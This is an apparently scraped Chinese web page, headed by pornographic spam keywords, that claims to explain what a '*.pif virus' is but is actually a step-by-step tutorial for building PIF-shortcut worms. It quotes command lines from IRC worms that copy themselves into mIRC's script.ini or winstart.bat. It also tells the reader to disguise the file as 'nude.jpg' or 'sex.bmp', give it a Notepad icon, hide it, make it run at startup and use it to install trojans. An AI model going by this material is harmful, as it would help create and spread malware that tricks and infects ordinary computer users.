日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

  1. 首頁 > 云知道 > >

*.pif是什么病毒的相關(guān)說明

云知道

【*.pif是什么病毒的相關(guān)說明】Pif 可以用來指向一個(gè)dos程序,也就是dos程序的快捷方式,比如可以連到一個(gè)病毒或者木馬.
它自己也可能就是一個(gè)蠕蟲,讓我們深入的研究一下...
[你要會(huì)點(diǎn) DOS 下的 batch 語言(批處理文件) 和 知道怎樣使用 Debug]
這里有下面提到的幾個(gè)pif病毒文件,點(diǎn)擊這里下載.在這察看源代碼!
PIF 蠕蟲 :Pif不可以在Win9x下編輯;要生成一個(gè)Pif文件,只要右擊鼠標(biāo),指向"新建"->"快捷方式"
.
會(huì)跳出一個(gè)窗口,我們?cè)诿钚休斎?C:command.com .然后為我們的蠕蟲起一個(gè)"wormtest" 的名字,然后回車,OK!
(你也可以使用一個(gè)存在的pif文件)
右擊 pif 文件,選擇"屬性"接著點(diǎn)擊程序.這就是控制 pif 文件的主要場所了.在我們接著學(xué)之前,讓我們看看我的Pif 蠕蟲中的幾個(gè)命令...
例子:
IRC-WORM Elsa:
C:COMMAND.COM /C copy C:mircdownloadcuteELSA.JPG.pif C:mircscript.ini /Y
C:MIRC
IRC-WORM Elsa.b:
C:COMMAND.COM /C copy C:mircdownloadEmmaPeel.HTML.pif C:mircscript.ini
/
C:MIRC
IRC-Worm.Movie.c:
%comspec% /c copy c:mircdownloadX_PASS.TXT.pif %windir%winstart.bat
C:
IBLIS_FinalVersion:
-------------------
%comspec% /c copy IBLIS_~1.pif ..script.ini /Y
留個(gè)空白
現(xiàn)在,我想你已經(jīng)大概明白是怎么回事了..
讓我們回到我們的 wormtest.pif 文件...
先為你的蠕蟲起一個(gè)好聽的名字.比如: nude.jpg.pif .你只要把你的pif文件改名為nude.jpg .
而且pif文件的后綴名一直是可視的,酷啊!(來個(gè)sex.jpg , sexwww.txt .來整整那些色狼)
讓我們到pif文件屬性中的程序中來...
a- 命令行 :
-----------------
Pif最好的功能之一就是命令行.雖然命令的長度受到了限制,但是我們?nèi)匀荒茏鲂┯腥さ氖?.....
但是重要的一條是,蠕蟲文件已經(jīng)存在于電腦的某個(gè)地方了,mIRC 和 Windows的目錄都是我們的主要攻擊對(duì)象...
你只能用command.com這個(gè)文件來完成我們的作品,你只要看看上面的四條命令,就會(huì)理解了,當(dāng)然最后一個(gè)也是最好的一個(gè),因?yàn)榧词共皇?C:mirc 目錄,它也能把腳本拷過去,而且它也是最小的一個(gè) :) .如果你要把 pif 文件拷成mIRC的腳本文件,那么你就要編輯它,加入一些腳本命令;如果你把pif拷貝到winstart.bat,那么就需要一些dos命令...
只要仔細(xì)看看上面下載的4個(gè)pif文件,你就會(huì)明白是什么原理了...
b- 工作目錄 :
-----------------
最好的方法就是留下空白 ... ;)
c- 運(yùn)行 :
-----------------
在這,你必須要選擇一項(xiàng),蠕蟲運(yùn)行的時(shí)候,就會(huì)跳出一個(gè)窗口,不用擔(dān)心 :)
d- 改變圖標(biāo) :
-----------------
這是一個(gè)非常好的功能,我建議你選擇一個(gè)大家熟悉的windows下程序的圖標(biāo),比如畫圖,記事本...
通過這些屬性,我們就可以把一個(gè)沒用的快捷方式改造成一個(gè)非常好的蠕蟲程序 :)
最后的工作就是編輯 pif 文件,加入一些腳本或者 dos 命令.打開和編輯pif文件,要通過dos下的 edit 來完成.你可以在蠕蟲中加入一些命令,當(dāng)把script.ini文件拷到 mIRC 的目錄下的時(shí)候.mIRC.exe 就會(huì)加載它,并且運(yùn)行指令.
bat文件的原理也是一樣的.
注意要點(diǎn):
-------------
* 在windows啟動(dòng)時(shí)自動(dòng)運(yùn)行.
* 保存一個(gè)備份文件(不是蠕蟲的主程序,否則可以輕易的刪除掉).
* 要隱藏的很好,不能被發(fā)現(xiàn)
* 目標(biāo)是 Mirc & Pirch
傳播 病毒 或 木馬 :那么你是怎樣通過pif文件來遠(yuǎn)程安裝木馬和傳播病毒的呢?
其實(shí)這很簡單,你只要做一個(gè)像下面這樣的 pif 命令行 :
%comspec% /c copy sexbmp~1.pif %windir%winstart.bat
C:
把 pif 的文件名改成 sex.bmp, 編輯它.把你的病毒或者木馬轉(zhuǎn)換成 Debug 腳本.

推薦閱讀